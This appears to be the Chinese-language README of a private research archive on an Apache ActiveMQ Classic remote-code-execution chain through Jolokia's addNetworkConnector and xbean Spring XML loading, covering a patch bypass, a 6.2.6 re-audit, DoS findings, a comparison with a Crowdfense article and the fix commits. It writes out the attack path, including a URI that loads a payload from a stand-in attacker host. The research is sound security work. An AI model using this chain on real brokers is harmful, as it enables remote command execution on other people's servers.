Apache ActiveMQ Classic — RCE 研究

针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链（CVE-2026-34197 及其补丁绕过 CVE-2026-42588）的私有研究存档，外加对已修复的 6.2.6 版本的全自动重审计，以及与 Crowdfense 公开的绕过文章进行的并列对比。

所有利用均在 本地实验室 Broker（Docker / 自托管）上执行。Payload 使用占位符攻击者主机。

目录

实验室中使用的供应商源码树和二进制发行版有意 排除在外（它们是上游代码，非我们所有）。

一句话漏洞

一个经过身份验证的 Jolokia 调用者（在 6.0.0–6.1.1 中通过 CVE-2024-32114 可未经身份验证）调用 BrokerView.addNetworkConnector(uri)，使用一个精心构造的 discovery URI，其内部的 vm://…?brokerConfig=xbean:<url> 强制 Broker 加载攻击者控制的 Spring XML，该 XML 在 Broker 验证之前立即实例化一个 ProcessBuilder bean，导致操作系统命令执行。

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory 动态创建 Broker  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext 加载 Spring XML  →  ProcessBuilder bean  →  RCE

发现

重点： 三个发现已被 实时证明 可达到 root/XSS；6.2.6 审计增加了一组更广泛的发现，这些发现 通过源码验证并经过对抗性评判，但尚未实时引爆。6.2.6 中没有任何额外的发现是新的 无需认证的 RCE —— 供应商已关闭了这些通道；剩余风险转移到了授权和输出编码。

已验证的利用链

6.2.6 审计中的新增发现（源码验证）

范围外 — DoS（已编目，非重点）

MQTT QoS 序数数组越界（QoS.values()[ordinal]，跨协议，无配置）· OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire 解组中的有符号 short NegativeArraySizeException · 负数 AMQ_SCHEDULED_REPEAT 永不终止的任务。

与 Crowdfense 文章对比

Crowdfense 的 Apache ActiveMQ RCE Bypass 涵盖了 相同的链（他们将其归入 CVE-2026-34197；我们将绕过跟踪为其自己的 CVE-2026-42588）。两篇报告都聚焦于三层防御；唯一的差异在于 第 2 层。

一个缺口： 他们的第 2 层百分比编码 + UNC/WebDAV 技巧实现了 完全远程 投递，无需本地写入原语。它所滥用的分类器缺陷（activemq-spring/Utils.java:123-129，在未解码字符串上执行原始 startsWith("file://")）出现在我们的确切源码中 — 但远程部分 仅限 Windows（Linux 将 //host/share 视为本地路径），而我们的实验室是 Linux，因此在那里无法利用。无论如何，它在 6.2.6 上 已失效（VMTransportFactory 方案门控在 Utils 运行之前就拒绝了 xbean）。

后续工作： 在 Windows 托管 的 5.19.6（或任何早于 5.19.7/6.2.6 的构建）上设置 SMB/WebDAV 监听器，将使我们能够演示完全远程的白名单绕过 —— 这是文章中具有而我们的参与尚未展示的唯一能力。

修复（ActiveMQ 6.2.6）

三个提交关闭了该链：c1b44af11（验证不带括号的组合 URI — 无条件 parseComposite + 递归），c2fc7a1d6（通过 VMTransportFactory 方案白名单默认阻止 XBeanBrokerFactory），以及 be8415f24（示例配置加固：Jolokia 限制到回环地址，操作拒绝列表包含 addNetworkConnector）。